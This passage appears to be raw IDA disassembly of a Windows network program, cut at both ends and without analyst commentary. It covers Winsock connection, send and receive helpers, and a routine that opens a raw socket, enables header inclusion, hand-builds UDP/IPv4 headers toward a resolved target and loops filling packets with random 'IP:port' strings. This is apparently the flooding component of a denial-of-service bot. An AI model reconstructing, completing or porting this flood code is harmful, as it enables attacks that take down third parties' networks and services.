		call	ds:dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	ds:dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	ds:dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		jmp	short locret_4050E8
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DE8C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0


loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------


loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	ds:dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	ds:dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	ds:dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0


loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------


loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax


loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------


loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------


loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax


loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	ds:dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax


loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360


loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------


loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DE8C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	ds:dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D


loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	ds:dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------


loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch


loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0


loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------


loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax


loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------


loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489


loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax


loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------


loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax


loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	ds:dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	ds:dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax


loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------


loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax


loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU_0	; "%u"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
